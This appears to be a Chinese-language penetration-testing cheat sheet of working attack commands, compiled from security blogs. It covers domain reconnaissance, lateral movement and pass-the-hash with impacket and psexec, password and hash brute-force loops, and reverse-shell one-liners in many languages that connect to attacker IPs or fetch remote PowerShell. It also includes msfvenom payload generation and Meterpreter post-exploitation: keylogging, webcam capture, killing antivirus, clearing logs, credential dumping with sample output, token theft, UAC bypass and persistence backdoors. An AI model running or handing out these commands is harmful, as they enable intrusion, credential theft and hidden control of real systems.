  24. Net view /domain 查询域
  25. Net view /domain:test 查询域内计算机
  26. Net accounts /domain 查询域中密码策略
  27. Net group /domain 查看域内所有用户组
  28. Net group "Domain Controllers" /domain 查看域控制器组
  29. Net group "Domain computers" /domain 查看域内所有计算机列表
  30. Net group "Domain admins" /domain 查看域内管理员用户
  31. Net user /domain kent active:yes 启用域账户
  32. Net user /domain kent active:no 禁用域账户
  33. Nltest /DCLIST:test 查看域中域控制器名
  34. Wmic useraccount get /all 用户详细信息
  35. Net group Domain Admins /domain 对应组下的账户信息
  36. nltest /domain_trusts 获取域信任信息
  37. net config workstation 了解本机的配置信息
  38. Netsh firewall show config 查看防火墙配置
  39. Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后)
  40. Netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序进入(windows server 2003后)
  41. Netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe"允许指定程序退出(windows server 2003后)
  42. Netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后)
  43. Reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"查看端口代理配置信息
  44. Reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程桌面端口号

at&schtasks&sc横向

使用明文密码登录到目标,需要445和139端口开启:

  1. net use \\192.168.2.148\ipc$ password /user:test\administrator
  2. net use \\192.168.2.148\ipc$ password /user:administrator
  3. 复制文件
  4. copy c:\1.exe \\192.168.2.148\c$
  5. at新建10:10分运行的定时作业
  6. at \\192.168.2.148 10:10 c:\1.exe
  7. Windows server 2012及以上使用schtasks命令
  8. Schtasks /create /s 192.168.2.148 /ru SYSTEM /tn executefile /sc DAILY /tr c:/1.exe /F
  9. Schtasks /run /s 192.168.2.148 /tn executefile /i
  10. Schtasks /delete /s 192.168.2.148 /tn executefile /f
  11. sc \\192.168.210.107 create hacker binpath="c:\shell1.exe" #创建服务
  12. sc \\192.168.210.107 start hacker #启动hacker服务

impacket包横向命令

下载https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases
Atexec

  1. 需要445端口开启
  2. Atexec.exe hacker/administrator:abc123@192.168.202.148 "whoami"
  3. Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/administrator@192.168.202.148 "whoami"

dcomexec

  1. 需要135端口开启
  2. dcomexec.exe hacker/administrator:abc123@192.168.202.148 "whoami"
  3. dcomexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/administrator@192.168.202.148 "whoami"

psexec

  1. 官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序:
  2. Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator
  3. Psexec \192.168.202.148 -accepteula -s cmd
  4. 官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递
  5. Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd
  6. PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/Administrator@192.168.202.148 "whoami" (官方提供的exe执行不了)

smbexec

  1. 需要445端口开启
  2. Smbexec test/Administrator:zxcvbnm123@192.168.202.148
  3. Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148

wmi

  1. WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。
  2. 第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录)
  3. Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create "cmd.exe /c ipconfig >C:/1.txt"
  4. 第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀
  5. Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123
  6. 第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显
  7. Wmiexec test/Administrator:zxcvbnm123@192.168.202.148 "whoami"
  8. Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148 "whoami"

批量操作,需要保存为bat执行

  1. 用已知密码和用户,批量连接ip:
  2. FOR /F %%i in (ips.txt) do net use \%%i\ipc$ password /user:hacker\administrator
  3. 已知用户和ip,批量连接密码(爆破密码):
  4. FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ "%%i" /user:test\administrator
  5. 已知用户和ip,批量连接hash(爆破hash):
  6. FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/administrator@192.168.202.148 "whoami"

cme 批量

  1. proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user"

单独执行命令

  1. crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami

ldap喷洒

  1. cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users

反弹shell

nc

  1. nc -lvvp 4444

bash

  1. bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
  2. exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

perl

  1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

  1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

  1. nc -e /bin/sh 10.0.0.1 1234
  2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  3. nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java

  1. r = Runtime.getRuntime()
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  3. p.waitFor()

lua

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

powershell

  1. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

加密shell

  1. mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s

msf大全

到处抄的

https://xz.aliyun.com/t/2536

https://www.freebuf.com/articles/web/270456.html

https://saucer-man.com/information_security/79.html

https://www.anquanke.com/post/id/235631

https://www.anquanke.com/post/id/164525

安装

安装

  1. # 安装
  2. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
  3. 安装目录
  4. # /opt/metasploit-framework/embedded/framework/

payload生成

Linux

  1. 反向连接:
  2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  3. 正向连接:
  4. msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

执行方式:将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

  1. php shell.php

3.脚本shell

Python

  1. msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

  1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

  1. msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

执行方式:复制shell.py中的内容在linux命令行下执行:

  1. python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

4.shellcode
Linux Based Shellcode

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Meterpreter基本命令

首先需要先获取meterpreter:

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set LHOST 192.168.81.160
  4. set ExitOnSession false
  5. exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
  6. jobs # 查看后台攻击任务
  7. kill <id> # 停止某后台攻击任务
  8. sessions -l # (查看会话)
  9. sessions -i 2 # 选择会话
  10. sessions -k 2 # 结束会话

如果先获取了cmd,比如利用ms17-010,默认使用的payload返回的就是cmd。这时候我们可以使用sessions-u 2来将cmdshell升级成meterpreter。

获取到了meterpreter,就可以进行后渗透了。

基本系统命令

  1. # 会话管理
  2. background #将当前会话放置后台
  3. sessions # 查看会话
  4. sessions -i # 切换会话
  5. quit # 关闭当前的会话,返回msf终端
  6. # 系统设置
  7. sysinfo # 查看目标机系统信息
  8. idletime # 查看目标机闲置时间
  9. reboot/shutdown # 重启/关机
  10. # shell
  11. shell # 获得控制台权限
  12. irb # 进入ruby终端
  13. # 进程迁移
  14. getpid # 获取当前进程的pid
  15. ps # 查看当前活跃进程
  16. migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
  17. kill <pid值> #杀死进程
  18. migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
  19. # 执行文件
  20. execute #在目标机中执行文件
  21. execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
  22. # 摄像头命令
  23. webcam_list #查看摄像头列表
  24. webcam_chat # 查看摄像头接口
  25. webcam_snap #通过摄像头拍照
  26. webcam_stream #通过摄像头开启视频
  27. # uictl开关键盘/鼠标
  28. uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
  29. uictl disable mouse #禁用鼠标
  30. uictl disable keyboard #禁用键盘
  31. # 远程桌面/截屏
  32. enumdesktops #查看可用的桌面
  33. getdesktop #获取当前meterpreter 关联的桌面
  34. screenshot #截屏
  35. use espia #或者使用espia模块截屏 然后输入screengrab
  36. run vnc #使用vnc远程桌面连接
  37. # 键盘记录
  38. keyscan_start #开始键盘记录
  39. keyscan_dump #导出记录数据
  40. keyscan_stop #结束键盘记录
  41. # 添加用户,开启远程桌面
  42. # 开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
  43. run post/windows/manage/enable_rdp #开启远程桌面
  44. run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
  45. run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
  46. # 关闭防病毒软件
  47. run killav
  48. run post/windows/manage/killav
  49. # 修改注册表
  50. reg h # 注册表命令帮助
  51. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
  52. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
  53. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
  54. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
  55. nc -v 192.168.81.162 443 #攻击者连接nc后门
  56. # 清理日志
  57. clearav #清除windows中的应用程序日志、系统日志、安全日志

文件系统命令

  1. cat/ls/cd/rm # 基本命令
  2. search -f *pass* -d C:\\windows # 搜索文件 -h查看帮助
  3. getwd/pwd # 获取当前目录
  4. getlwd/lpwd # 操作攻击者主机 查看当前目录
  5. upload /tmp/hack.txt C:\\lltest # 上传文件
  6. download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件
  7. edit c:\\1.txt # 编辑或创建文件 没有的话,会新建文件
  8. mkdir lltest2 # 只能在当前目录下创建文件夹
  9. rmdir lltest2 # 只能删除当前目录下文件夹
  10. lcd /tmp # 操作攻击者主机 切换目录
  11. # timestomp伪造文件时间戳
  12. timestomp C:// -h #查看帮助
  13. timestomp -v C://2.txt #查看时间戳
  14. timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

网络命令

  1. # 基本
  2. ipconfig/ifconfig
  3. netstat ano
  4. arp
  5. getproxy #查看代理信息
  6. route #查看路由
  7. # portfwd端口转发
  8. portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口
  9. rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
  10. # 添加路由
  11. # 方式一autoroute (deprecated)
  12. run autoroute h #查看帮助
  13. run autoroute -s 192.168.2.0/24 #添加到目标环境网络
  14. run autoroute p #查看添加的路由
  15. # 方式二post/multi/manage/autoroute
  16. run post/multi/manage/autoroute CMD=autoadd #自动添加到目标环境网络
  17. run post/multi/manage/autoroute CMD=print # 查看添加的路由
  18. (Specify the autoroute command (Accepted: add, autoadd, print, delete, default))
  19. # 然后可以利用arp_scanner、portscan等进行存活检测
  20. run arp_scanner -r 192.168.2.0/24
  21. run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24
  22. run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0
  23. # autoroute添加完路由后,还可以利用msf自带的模块进行socks代理
  24. # msf提供了2个模块用来做socks代理。
  25. # auxiliary/server/socks_proxy
  26. # use auxiliary/server/socks_unc
  27. # 先background退出来,然后:
  28. use auxiliary/server/socks_proxy
  29. set srvhost 127.0.0.1
  30. set srvport 1080
  31. run
  32. # 然后vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080
  33. # 最后proxychains 使用Socks5代理访问
  34. # sniffer抓包
  35. use sniffer
  36. sniffer_interfaces #查看网卡
  37. sniffer_start 2 #选择网卡 开始抓包
  38. sniffer_stats 2 #查看状态
  39. sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
  40. sniffer_stop 2 #停止抓包

信息收集

  1. # 信息收集的脚本位于:
  2. # modules/post/windows/gather
  3. # modules/post/linux/gather
  4. # 以下列举一些常用的
  5. run post/windows/gather/checkvm #是否虚拟机
  6. run post/linux/gather/checkvm #是否虚拟机
  7. run post/windows/gather/forensics/enum_drives #查看分区
  8. run post/windows/gather/enum_applications #获取安装软件信息
  9. run post/windows/gather/dumplinks #获取最近的文件操作
  10. run post/windows/gather/enum_ie #获取IE缓存
  11. run post/windows/gather/enum_chrome #获取Chrome缓存
  12. run post/windows/gather/enum_patches #补丁信息
  13. run post/windows/gather/enum_domain #查找定位域控
  14. run post/windows/gather/enum_logged_on_users #登录过的用户

提权

1.getsystem提权
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

  1. getsystem

2.bypassuac
用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。

msf提供了如下几个模块帮助绕过UAC:

  1. msf5 auxiliary(server/socks5) > search bypassuac
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. - ---- --------------- ---- ----- -----------
  6. 0 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
  7. 1 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
  8. 2 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
  9. 3 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
  10. 4 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
  11. 5 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
  12. 6 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
  13. 7 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)

使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限

  1. # 示例
  2. meterpreter > getuid
  3. Server username: SAUCERMAN\TideSec
  4. meterpreter > background
  5. [*] Backgrounding session 4...
  6. msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
  7. msf5 exploit(windows/local/bypassuac) > set SESSION 4
  8. SESSION => 4
  9. msf5 exploit(windows/local/bypassuac) > run
  10. [-] Handler failed to bind to 192.168.81.160:4444:- -
  11. [-] Handler failed to bind to 0.0.0.0:4444:- -
  12. [*] UAC is Enabled, checking level...
  13. [+] UAC is set to Default
  14. [+] BypassUAC can bypass this setting, continuing...
  15. [+] Part of Administrators group! Continuing...
  16. [*] Uploaded the agent to the filesystem....
  17. [*] Uploading the bypass UAC executable to the filesystem...
  18. [*] Meterpreter stager executable 73802 bytes long being uploaded..
  19. [*] Sending stage (206403 bytes) to 192.168.81.154
  20. [*] Meterpreter session 5 opened (192.168.81.160:4444 -> 192.168.81.154:1134) at 2019-06-12 06:31:11 -0700
  21. [-] Exploit failed [timeout-expired]: Timeout::Error execution expired
  22. [*] Exploit completed, but no session was created.
  23. # 然后返回新的meterpreter会话,继续执行getsystem本应该会提权成功
  24. # 然鹅这里失败了

3.内核漏洞提权

无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。

  1. meterpreter > run post/windows/gather/enum_patches #查看补丁信息
  2. msf5 > use exploit/windows/local/ms13_053_schlamperei
  3. msf5 > set SESSION 2
  4. msf5 > exploit
  5. # 示例
  6. meterpreter > run post/windows/gather/enum_patches
  7. [+] KB2871997 is missing
  8. [+] KB2928120 is missing
  9. [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
  10. [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
  11. [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
  12. [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
  13. [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
  14. [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
  15. meterpreter > background
  16. [*] Backgrounding session 4...
  17. msf5 exploit(windows/local/bypassuac) > search MS13-081
  18. Matching Modules
  19. ================
  20. # Name Disclosure Date Rank Check Description
  21. - ---- --------------- ---- ----- -----------
  22. 0 exploit/windows/local/ms13_081_track_popup_menu 2013-10-08 average Yes Windows TrackPopupMenuEx Win32k NULL Page
  23. msf5 exploit(windows/local/bypassuac) > use exploit/windows/local/ms13_081_track_popup_menu
  24. msf5 exploit(windows/local/ms13_081_track_popup_menu) > set session 4
  25. session => 4
  26. msf5 exploit(windows/local/ms13_081_track_popup_menu) > exploit
  27. [!] SESSION may not be compatible with this module.
  28. [-] Handler failed to bind to 192.168.81.160:4444:- -
  29. [-] Handler failed to bind to 0.0.0.0:4444:- -
  30. [-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
  31. [*] Exploit completed, but no session was created.
  32. # 然鹅失败了,摸摸头

获取凭证

在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。

1.使用mimikatz

  1. load mimikatz #help mimikatz 查看帮助
  2. wdigest #获取Wdigest密码
  3. mimikatz_command -f samdump::hashes #执行mimikatz原始命令
  4. mimikatz_command -f sekurlsa::searchPasswords
  5. # 示例
  6. meterpreter > load mimikatz
  7. Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
  8. Success.
  9. meterpreter > wdigest
  10. [!] Not currently running as SYSTEM
  11. [*] Attempting to getprivs ...
  12. [+] Got SeDebugPrivilege.
  13. [*] Retrieving wdigest credentials
  14. wdigest credentials
  15. ===================
  16. AuthID Package Domain User Password
  17. ------ ------- ------ ---- --------
  18. 0;997 Negotiate NT AUTHORITY LOCAL SERVICE
  19. 0;996 Negotiate WORKGROUP SAUCERMAN$
  20. 0;48748 NTLM
  21. 0;999 NTLM WORKGROUP SAUCERMAN$
  22. 0;476238 NTLM SAUCERMAN TideSec 123456
  23. 0;476209 NTLM SAUCERMAN TideSec 123456
  24. meterpreter > mimikatz_command -f samdump::hashes
  25. Ordinateur : saucerman
  26. BootKey : 691cff33caf49e933be97fcee370256a
  27. RegOpenKeyEx SAM : (0x00000005) �ݿ�
  28. Erreur lors de l'exploration du registre
  29. meterpreter > mimikatz_command -f sekurlsa::searchPasswords
  30. [0] { TideSec ; SAUCERMAN ; 123456 }
  31. [1] { TideSec ; SAUCERMAN ; 123456 }
  32. [2] { SAUCERMAN ; TideSec ; 123456 }
  33. [3] { SAUCERMAN ; TideSec ; 123456 }
  34. [4] { TideSec ; SAUCERMAN ; 123456 }
  35. [5] { TideSec ; SAUCERMAN ; 123456 }
  1. 使用meterpreter的run hashdump命令
  1. meterpreter > run hashdump
  2. [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
  3. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
  4. [*] Obtaining the boot key...
  5. [*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
  6. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
  7. [*] Obtaining the user list and keys...
  8. [*] Decrypting user keys...
  9. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
  10. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
  11. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
  12. [*] Dumping password hints...
  13. TideSec:"123456"
  14. [*] Dumping password hashes...
  15. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  16. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  17. TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

3.post/windows/gather/smart_hashdump

从上面也可以看出官方推荐post/windows/gather/smart_hashdump

  1. meterpreter > run post/windows/gather/smart_hashdump
  2. [*] Running module against SAUCERMAN
  3. [*] Hashes will be saved to the database if one is connected.
  4. [+] Hashes will be saved in loot in JtR password file format to:
  5. [*] /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt
  6. [*] Dumping password hashes...
  7. [*] Running as SYSTEM extracting hashes from registry
  8. [*] Obtaining the boot key...
  9. [*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
  10. [*] Obtaining the user list and keys...
  11. [*] Decrypting user keys...
  12. [*] Dumping password hints...
  13. [+] TideSec:"123456"
  14. [*] Dumping password hashes...
  15. [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  16. [+] TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

4.powerdump
同 hashdump,但失败了

  1. meterpreter > run powerdump
  2. [*] PowerDump v0.1 - PowerDump to extract Username and Password Hashes...
  3. [*] Running PowerDump to extract Username and Password Hashes...
  4. [*] Uploaded PowerDump as 69921.ps1 to %TEMP%...
  5. [*] Setting ExecutionPolicy to Unrestricted...
  6. [*] Dumping the SAM database through PowerShell...
  7. [-] Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.

假冒令牌

在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。

msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。

  1. # 1.incognito假冒令牌
  2. use incognito #help incognito 查看帮助
  3. list_tokens -u #查看可用的token
  4. impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
  5. 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
  6. execute -f cmd.exe -i t # -t 使用假冒的token 执行
  7. 或者直接shell
  8. rev2self #返回原始token
  9. # 2.steal_token窃取令牌
  10. steal_token <pid值> #从指定进程中窃取token 先ps,找域控进程
  11. drop_token #删除窃取的token

植入后门

Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。

1.persistence启动项后门

路径:metasploit/scripts/meterpreter/persistence

原理是在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本,在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项,很容易被杀软拦截,官方不推荐

  1. run persistence h #查看帮助
  2. run persistence -X -i 5 -p 4444 -r 192.168.81.160
  3. #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
  4. # 示例
  5. meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.81.160
  6. [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
  7. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
  8. [*] Running Persistence Script
  9. [*] Resource file for cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc
  10. [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.81.160 LPORT=4444
  11. [*] Persistent agent script is 99630 bytes long
  12. [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
  13. [*] Executing script C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
  14. [+] Agent executed with PID 3540
  15. [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua
  16. [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua

能实现同样功能的脚本还有:exploit/windows/local/persistence

2.metsvc服务后门

在C:\Users\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。
